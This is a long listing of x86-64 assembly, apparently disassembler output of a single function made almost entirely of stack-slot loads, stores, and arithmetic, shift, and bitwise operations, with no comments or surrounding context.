mov rax, qword [rsp + 0x5918]
mov rax, qword [rax]
mov qword [rsp + 0x77b8], rax
mov rax, qword [rsp + 0x5680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c30]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b84], eax
mov eax, dword [rsp + 0x2d3c]
mov dword [rsp + 0x3010], eax
mov rax, qword [rsp + 0x58a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x76c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x69f0], rax
movsx eax, byte [rsp + 0xd8]
movsx ecx, byte [rsp + 0x140]
add eax, ecx
mov rcx, qword [0x140114578]
mov byte [rcx], al
lea rax, [rsp + 0xbfc]
mov qword [rsp + 0x77c0], rax
movzx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5240]
mov byte [rcx], al
movzx eax, word [rsp + 0xadc]
movzx ecx, word [rsp + 0xb0c]
add eax, ecx
mov word [rsp + 0xa8c], ax
mov rax, qword [rsp + 0x6ba0]
movzx eax, word [rax]
mov word [rsp + 0xdac], ax
mov rax, qword [rsp + 0x6f60]
mov rcx, qword [rsp + 0x4f78]
mov qword [rsp + 0x77c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x77c8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x5ad0], rax
mov rax, qword [rsp + 0x6b78]
mov rax, qword [rax]
mov qword [rsp + 0x77d0], rax
mov eax, dword [rsp + 0x2cc8]
mov rcx, qword [rsp + 0x4d58]
mov qword [rsp + 0x77d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x77d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ae8], eax
mov rax, qword [rsp + 0x5248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e30]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d2c], eax
lea rax, [rsp + 0x139]
mov qword [0x140114730], rax
movzx eax, byte [rsp + 0x124]
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0x5608]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x61a8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x928], ax
lea rax, str.__v83
mov qword [rsp + 0x77e0], rax
mov rax, qword [rsp + 0x6360]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x56e0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x54d0]
mov rcx, qword [rsp + 0x64f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x62c8], rax
lea rax, [rsp + 0x2de0]
mov qword [rsp + 0x77e8], rax
mov rax, qword [rsp + 0x7738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2f50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c94], eax
mov rax, qword [rsp + 0x59c0]
mov rax, qword [rax]
mov qword [rsp + 0x77f0], rax
lea rax, [rsp + 0xac8]
mov qword [0x140114738], rax
movzx eax, word [rsp + 0xb00]
movzx ecx, word [rsp + 0x9d8]
and eax, ecx
mov word [rsp + 0x908], ax
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0x52d8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14c], al
lea rax, [rsp + 0xc2]
mov qword [rsp + 0x77f8], rax
movzx eax, byte [rsp + 0x121]
movzx ecx, byte [rsp + 0x99]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6168]
mov rax, qword [rax]
mov qword [rsp + 0x7800], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2df8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f58], eax
mov rax, qword [rsp + 0x6c48]
mov rax, qword [rax]
mov qword [rsp + 0x7808], rax
mov rax, qword [rsp + 0x5cd0]
mov rcx, qword [rsp + 0x5248]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2d0c], eax
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [0x14011305b]
sub eax, ecx
mov byte [0x14011305a], al
mov rax, qword [rsp + 0x6290]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcd0]
shl eax, cl
mov word [rsp + 0x8a8], ax
lea rax, [rsp + 0x42]
mov qword [rsp + 0x7810], rax
movzx eax, word [rsp + 0xa50]
movzx ecx, word [rsp + 0xc20]
sar eax, cl
mov rcx, qword [rsp + 0x63e8]
mov word [rcx], ax
lea rax, [rsp + 0x928]
mov qword [rsp + 0x7818], rax
mov rax, qword [rsp + 0x57b8]
mov rcx, qword [rsp + 0x6b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ca0], eax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2bc4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d58], eax
lea rax, [rsp + 0x74d8]
mov qword [rsp + 0x7820], rax
mov rax, qword [rsp + 0x6ac0]
mov rcx, qword [rsp + 0x7498]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7250]
mov qword [rcx], rax
movzx eax, byte [0x140113003]
mov rcx, qword [rsp + 0x7758]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140114213], al
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov word [rsp + 0xdb0], ax
movzx eax, byte [rsp + 0x6a]
movzx ecx, byte [rsp + 0x4e]
add eax, ecx
mov byte [rsp + 0x34], al
movsx eax, word [rsp + 0xcd0]
movsx ecx, word [rsp + 0xa80]
add eax, ecx
mov word [rsp + 0xd90], ax
movzx eax, byte [rsp + 0x146]
mov byte [rsp + 0x16e], al
mov rax, qword [rsp + 0x63b8]
mov ecx, dword [rsp + 0x2f08]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x62e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72b8]
mov rax, qword [rax]
mov qword [rsp + 0x7828], rax
mov rax, qword [rsp + 0x5cb8]
mov ecx, dword [rsp + 0x2ff4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5040]
mov qword [rsp + 0x7830], rax
mov rax, qword [rsp + 0x5850]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5c98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113110], ax
mov rax, qword [rsp + 0x7548]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x157]
sub eax, ecx
mov rcx, qword [rsp + 0x63a0]
mov byte [rcx], al
movzx eax, word [rsp + 0xbbc]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x7590]
mov word [rcx], ax
mov rax, qword [rsp + 0x5530]
movzx eax, word [rax]
mov word [rsp + 0xdb4], ax
movsx eax, byte [rsp + 0x115]
movsx ecx, byte [rsp + 0x39]
add eax, ecx
mov byte [rsp + 0x11c], al
lea rax, [rsp + 0x2f7c]
mov qword [rsp + 0x7838], rax
mov rax, qword [rsp + 0x5c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6328]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x74d8]
mov rcx, qword [rsp + 0x6b90]
mov qword [rsp + 0x7840], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7840]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4ba8]
mov qword [rcx], rax
lea rax, [rsp + 0x2a98]
mov qword [rsp + 0x7848], rax
movsx eax, byte [0x140113067]
movsx ecx, byte [rsp + 0x71]
or eax, ecx
mov rcx, qword [0x140114168]
mov byte [rcx], al
movzx eax, byte [rsp + 0x5e]
movzx ecx, byte [rsp + 0x4f]
shl eax, cl
mov rcx, qword [rsp + 0x76f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
mov word [rsp + 0xdb8], ax
mov rax, qword [0x140114738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5530]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd90], ax
mov rax, qword [rsp + 0x4f40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x52a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16e], al
mov rax, qword [rsp + 0x5480]
mov rax, qword [rax]
mov qword [rsp + 0x7850], rax
mov rax, qword [rsp + 0x55a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a20]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5358]
mov dword [rcx], eax
lea rax, [rsp + 0x2f34]
mov qword [rsp + 0x7858], rax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5250]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5190]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10f]
sub eax, ecx
mov byte [rsp + 0x157], al
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x5038]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011308b], al
lea rax, [0x140114430]
mov qword [rsp + 0x7860], rax
movzx eax, word [rsp + 0xcc0]
mov rcx, qword [rsp + 0x5850]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9b4], ax
mov rax, qword [rsp + 0x5a18]
movzx eax, word [rax]
mov word [rsp + 0xdbc], ax
mov rax, qword [0x140114160]
mov rcx, qword [rsp + 0x7708]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x73d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a40]
mov eax, dword [rax]
mov dword [rsp + 0x3014], eax
mov rax, qword [rsp + 0x54e0]
mov rcx, qword [rsp + 0x5e28]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x53b8], rax
mov eax, dword [rsp + 0x2ef8]
mov ecx, dword [rsp + 0x2da4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e2c], eax
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0x16f], al
lea rax, [rsp + 0xd30]
mov qword [0x140114740], rax
mov rax, qword [rsp + 0x4f08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50b8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x70d0]
mov byte [rcx], al
movzx eax, word [rsp + 0xba4]
mov word [rsp + 0xdc0], ax
movsx eax, byte [rsp + 0xdb]
movsx ecx, byte [rsp + 0x16a]
or eax, ecx
mov rcx, qword [rsp + 0x58d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6c48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6b30]
sar rax, cl
mov rcx, qword [rsp + 0x6f68]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2e28]
mov dword [rsp + 0x3018], eax
mov rax, qword [rsp + 0x6b98]
mov rcx, qword [rsp + 0x71c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x5498]
mov qword [rsp + 0x7868], rax
movzx eax, byte [0x1401141be]
movzx ecx, byte [rsp + 0x111]
and eax, ecx
mov byte [rsp + 0x60], al
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113012], al
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb4]
add eax, ecx
mov byte [rsp + 0x66], al
movzx eax, word [rsp + 0x95c]
mov word [rsp + 0xdc4], ax
movsx eax, word [rsp + 0xd18]
movsx ecx, word [rsp + 0x914]
sub eax, ecx
mov word [rsp + 0x87c], ax
lea rax, [0x140113008]
mov qword [rsp + 0x7870], rax
mov eax, dword [rsp + 0x2b58]
mov ecx, dword [rsp + 0x2dd8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2d74]
mov ecx, dword [rsp + 0x2cdc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bcc], eax
lea rax, [rsp + 0x72f0]
mov qword [rsp + 0x7878], rax
movsx eax, byte [rsp + 0x155]
movsx ecx, byte [rsp + 0xca]
sub eax, ecx
mov rcx, qword [rsp + 0x5050]
mov byte [rcx], al
movzx eax, word [rsp + 0xda0]
mov rcx, qword [rsp + 0x7108]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140114198]
mov word [rcx], ax
mov rax, qword [0x140114480]
movzx eax, byte [rax]
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x4e58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8e8]
add eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0x6a50]
movzx eax, word [rax]
mov word [rsp + 0xdc8], ax
movsx eax, word [rsp + 0xd10]
mov rcx, qword [0x140114740]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb14], ax
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6918]
shl rax, cl
mov qword [rsp + 0x7418], rax
mov eax, dword [rsp + 0x2fe8]
mov dword [rsp + 0x301c], eax
mov rax, qword [rsp + 0x5ff8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7098]
mov qword [rsp + 0x7880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7880]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x6440], rax
lea rax, [rsp + 0x2e20]
mov qword [rsp + 0x7888], rax
lea rax, [rsp + 0xc6]
mov qword [0x140114748], rax
movzx eax, word [rsp + 0xd38]
mov rcx, qword [rsp + 0x76e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0x6078]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
sub eax, ecx
mov byte [rsp + 0xb7], al
movzx eax, byte [rsp + 0x10f]
mov byte [rsp + 0x171], al
movzx eax, word [rsp + 0xcbc]
mov rcx, qword [0x1401142d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9f0], ax
lea rax, [rsp + 0x2b8c]
mov qword [rsp + 0x7890], rax
mov rax, qword [rsp + 0x7160]
mov rcx, qword [rsp + 0x6df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7560]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2f58]
mov ecx, dword [rsp + 0x2fa8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6008]
mov dword [rcx], eax
lea rax, [rsp + 0x6300]
mov qword [rsp + 0x7898], rax
lea rax, [rsp + 0xc44]
mov qword [0x140114750], rax
movsx eax, byte [rsp + 0x153]
movsx ecx, byte [rsp + 0x141]
add eax, ecx
mov byte [rsp + 0x104], al
lea rax, [0x14011305a]
mov qword [rsp + 0x78a0], rax
mov rax, qword [rsp + 0x6540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10c]
add eax, ecx
mov rcx, qword [rsp + 0x6e78]
mov byte [rcx], al
lea rax, [rsp + 0xb58]
mov qword [rsp + 0x78a8], rax
mov rax, qword [rsp + 0x75f8]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f00], rax
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x5820]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7340]
mov dword [rcx], eax
lea rax, [rsp + 0x6250]
mov qword [rsp + 0x78b0], rax
mov rax, qword [rsp + 0x5618]
mov rcx, qword [rsp + 0x5b60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x6da0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140114408]
mov byte [rcx], al
movzx eax, word [rsp + 0xa98]
mov word [rsp + 0xdcc], ax
mov rax, qword [rsp + 0x72d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x70a8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x77c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcb4]
sar eax, cl
mov rcx, qword [rsp + 0x5bf0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x6240]
movzx ecx, al
mov rax, qword [rsp + 0x64c8]
shl rax, cl
mov qword [rsp + 0x6790], rax
mov eax, dword [rsp + 0x2ea0]
mov dword [rsp + 0x3020], eax
mov rax, qword [rsp + 0x7098]
mov rcx, qword [0x140113008]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6908]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6b98]
mov rcx, qword [rsp + 0x5de8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7858]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
add eax, ecx
mov rcx, qword [0x140114500]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe1]
mov byte [rsp + 0x173], al
movsx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x4f28]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8d8], ax
mov rax, qword [rsp + 0x5688]
movzx eax, word [rax]
mov word [rsp + 0xdd0], ax
movzx eax, word [rsp + 0xaec]
movzx ecx, word [rsp + 0xd88]
sub eax, ecx
mov word [rsp + 0x97c], ax
mov rax, qword [rsp + 0x76e0]
mov rcx, qword [rsp + 0x6ab8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68c8]
mov rax, qword [rax]
mov qword [rsp + 0x78b8], rax
mov rax, qword [rsp + 0x5390]
mov ecx, dword [rsp + 0x2da0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2dec], eax
mov eax, dword [rsp + 0x2d60]
mov dword [rsp + 0x3024], eax
movzx eax, byte [rsp + 0x39]
mov byte [0x140114282], al
movzx eax, byte [rsp + 0x13d]
mov rcx, qword [rsp + 0x71a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
lea rax, [rsp + 0xd44]
mov qword [rsp + 0x78c0], rax
movzx eax, word [rsp + 0xd34]
movzx ecx, word [rsp + 0xa2c]
sub eax, ecx
mov word [rsp + 0xa98], ax
movsx eax, word [rsp + 0xc18]
mov rcx, qword [0x140114588]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd28], ax
mov rax, qword [rsp + 0x5df8]
mov qword [rsp + 0x78c8], rax
mov rax, qword [rsp + 0x74e0]
mov rcx, qword [rsp + 0x6af8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6500]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c04]
mov dword [rsp + 0x3028], eax
mov rax, qword [rsp + 0x5520]
mov rcx, qword [rsp + 0x76d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b88], eax
movzx eax, byte [rsp + 0x132]
movzx ecx, byte [rsp + 0x100]
shl eax, cl
mov rcx, qword [0x140114248]
mov byte [rcx], al
mov rax, qword [rsp + 0x5990]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbc]
xor eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0x5110]
movzx eax, byte [rax]
mov byte [rsp + 0x174], al
movzx eax, word [rsp + 0xa0c]
movzx ecx, word [rsp + 0xb90]
or eax, ecx
mov word [rsp + 0xd20], ax
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0x77e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3018]
sar eax, cl
mov dword [rsp + 0x2bd0], eax
mov rax, qword [rsp + 0x6c70]
mov rcx, qword [rsp + 0x5df8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5c70], rax
mov rax, qword [0x140114160]
mov qword [rsp + 0x78d0], rax
mov rax, qword [rsp + 0x69c0]
mov rcx, qword [rsp + 0x6828]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2df4], eax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113114], ax
movzx eax, byte [rsp + 0x117]
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0x6b40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6dd0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0x7348]
movzx eax, word [rax]
mov word [rsp + 0xdd8], ax
movsx eax, byte [rsp + 0x13a]
movsx ecx, byte [0x140114212]
add eax, ecx
mov rcx, qword [rsp + 0x56e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5168]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c90], eax
mov rax, qword [rsp + 0x7230]
mov qword [rsp + 0x78d8], rax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2e18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6298]
mov dword [rcx], eax
lea rax, [rsp + 0x50d0]
mov qword [rsp + 0x78e0], rax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x61e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd4], al
movzx eax, word [rsp + 0x9c0]
mov rcx, qword [rsp + 0x5b58]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140114678], ax
mov rax, qword [rsp + 0x67c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x78c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa80], ax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0x78e8], rax
mov rax, qword [0x140114578]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d]
shl eax, cl
mov rcx, qword [rsp + 0x60d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cb8]
mov qword [rsp + 0x78f0], rax
mov eax, dword [rsp + 0x2b8c]
mov rcx, qword [rsp + 0x7738]
mov qword [rsp + 0x78f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x78f8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2b5c], eax
mov rax, qword [rsp + 0x75c8]
mov rcx, qword [rsp + 0x5548]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7390], rax
lea rax, [rsp + 0x2ce8]
mov qword [rsp + 0x7900], rax
movzx eax, word [rsp + 0x9dc]
mov rcx, qword [rsp + 0x74f0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4de0]
mov word [rcx], ax
lea rax, [rsp + 0x171]
mov qword [0x140114758], rax
movzx eax, word [rsp + 0x8f8]
mov word [rsp + 0xddc], ax
movzx eax, byte [rsp + 0x168]
mov rcx, qword [rsp + 0x6468]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13b], al
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0x166]
sub eax, ecx
mov byte [rsp + 0x126], al
lea rax, [rsp + 0x2c08]
mov qword [rsp + 0x7908], rax
mov rax, qword [rsp + 0x7900]
mov rcx, qword [rsp + 0x6e20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x55f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68c8]
mov rax, qword [rax]
mov qword [rsp + 0x7910], rax
mov rax, qword [rsp + 0x5bc0]
mov rcx, qword [rsp + 0x6678]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75e0], rax
lea rax, [rsp + 0x99c]
mov qword [rsp + 0x7918], rax
mov rax, qword [rsp + 0x7060]
movsx eax, word [rax]
movsx ecx, word [0x1401141b8]
and eax, ecx
mov word [0x140114210], ax
mov rax, qword [rsp + 0x5d10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov rcx, qword [rsp + 0x5020]
mov byte [rcx], al
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov rcx, qword [rsp + 0x5450]
mov byte [rcx], al
lea rax, [0x140113078]
mov qword [rsp + 0x7920], rax
mov rax, qword [rsp + 0x5a78]
mov rcx, qword [rsp + 0x6420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6800], rax
mov rax, qword [rsp + 0x6410]
mov eax, dword [rax]
mov dword [rsp + 0x302c], eax
mov rax, qword [rsp + 0x4e78]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x5cd0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2d60]
shr eax, cl
mov dword [rsp + 0x2d2c], eax
lea rax, [rsp + 0xcc0]
mov qword [rsp + 0x7928], rax
movsx eax, word [rsp + 0x8f0]
mov rcx, qword [rsp + 0x4bc8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140113118], ax
movsx eax, word [rsp + 0xd78]
mov rcx, qword [rsp + 0x6370]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5848]
mov word [rcx], ax
lea rax, [rsp + 0x6b]
mov qword [rsp + 0x7930], rax
movzx eax, byte [0x14011307f]
movzx ecx, byte [rsp + 0x145]
shl eax, cl
mov byte [rsp + 0x83], al
mov rax, qword [rsp + 0x6758]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5560]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x65e8]
mov word [rcx], ax
lea rax, [rsp + 0x2c14]
mov qword [rsp + 0x7938], rax
mov rax, qword [rsp + 0x6f38]
mov rax, qword [rax]
imul rax, qword [rsp + 0x75b8]
mov rcx, qword [rsp + 0x7898]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5300]
mov qword [rsp + 0x7940], rax
mov rax, qword [rsp + 0x5c88]
mov ecx, dword [rsp + 0x2c04]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ef0], eax
movsx eax, word [rsp + 0xda4]
movsx ecx, word [rsp + 0xc38]
add eax, ecx
mov word [0x1401130a8], ax
mov rax, qword [rsp + 0x6a88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5b70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a30]
mov byte [rcx], al
movzx eax, byte [0x140113032]
mov byte [rsp + 0x176], al
movsx eax, word [rsp + 0xdb4]
movsx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x68d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5048]
movzx eax, byte [rax]
mov byte [rsp + 0x177], al
mov rax, qword [rsp + 0x5778]
mov rcx, qword [rsp + 0x6278]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bb4], eax
lea rax, [rsp + 0x5dc8]
mov qword [rsp + 0x7948], rax
mov eax, dword [rsp + 0x2c0c]
mov ecx, dword [rsp + 0x2e30]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6cc0]
mov rcx, qword [rsp + 0x57e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5df8], rax
mov rax, qword [rsp + 0x66b8]
movzx eax, byte [rax]
mov byte [0x140114283], al
movzx eax, byte [rsp + 0xf3]
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0x5230]
movsx eax, byte [rax]
mov rcx, qword [0x1401143b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6430]
mov byte [rcx], al
mov rax, qword [rsp + 0x7610]
movzx eax, word [rax]
mov word [rsp + 0xde0], ax
movsx eax, word [rsp + 0xba8]
mov rcx, qword [rsp + 0x6e00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6188]
mov word [rcx], ax
mov rax, qword [rsp + 0x5c50]
mov rcx, qword [rsp + 0x55f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2a4c], eax
lea rax, [rsp + 0x5648]
mov qword [rsp + 0x7950], rax
mov rax, qword [rsp + 0x60e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x61c8]
mov qword [rsp + 0x7958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7958]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2cd4], eax
